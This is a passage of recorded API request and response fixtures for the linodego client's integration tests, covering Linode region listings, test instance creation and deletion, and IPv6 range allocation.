"1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 14}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-bzi7l8090x1m","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 46939763, "label": "go-test-ins-wo-disk-bzi7l8090x1m", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["45.79.121.236"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "88790c34691bcc0acb858c2e81c3bd1e6e6e91ac"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "713" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-xf886ld17qx5","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/46939763/configs method: POST response: body: '{"id": 49795313, "label": "go-test-conf-xf886ld17qx5", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"linode_id":46939763}' url: https://api.linode.com/v4beta/networking/ips method: GET response: body: '{"page": 1, "pages": 1, "results": 4, "data": [{"address": "45.79.195.237", "gateway": "45.79.195.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "45-79-195-237.ip.linodeusercontent.com", "linode_id": 46939586, "region": "us-southeast"}, {"address": "45.79.121.236", "gateway": "45.79.121.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "45-79-121-236.ip.linodeusercontent.com", "linode_id": 46939763, "region": "ap-west"}, {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 46939586, "region": "us-southeast", "public": true}, {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 46939763, "region": "ap-west", "public": true}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "939" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips?skip_ipv6_rdns=true method: GET response: body: '{"page": 1, "pages": 1, "results": 4, "data": [{"address": "45.79.195.237", "gateway": "45.79.195.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "45-79-195-237.ip.linodeusercontent.com", "linode_id": 46939586, "region": "us-southeast"}, {"address": "45.79.121.236", "gateway": "45.79.121.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "45-79-121-236.ip.linodeusercontent.com", "linode_id": 46939763, "region": "ap-west"}, {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 46939586, "region": "us-southeast", "public": true}, {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 46939763, "region": "ap-west", "public": true}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "939" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/46939763 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestIPv6Range_Instance_List.yaml000066400000000000000000000447221455402072200326700ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 14}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"eu-west","type":"g6-nanode-1","label":"go-ins-test-range6","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 46938050, "label": "go-ins-test-range6", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["176.58.98.241"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "eu-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "f40c61e9c78c410b8382b44300afc6d21def2244"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "711" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"linode_id":46938050,"prefix_length":64}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ipv6/ranges method: POST response: body: '{"range": "1234::5678/64", "route_target": "1234::5678"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "87" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"region":"eu-west"}' url: https://api.linode.com/v4beta/networking/ipv6/ranges method: GET response: body: '{"data": [{"range": "1234::5678", "prefix": 64, "region": "eu-west", "route_target": "1234::5678"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "168" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: 'https://api.linode.com/v4beta/networking/ipv6/ranges/1234::5678' method: GET response: body: '{"range": "1234::5678", "prefix": 64, "region": "eu-west", "is_bgp": false, "linodes": [46938050]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "109" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: 'https://api.linode.com/v4beta/networking/ipv6/ranges/1234::5678' method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write 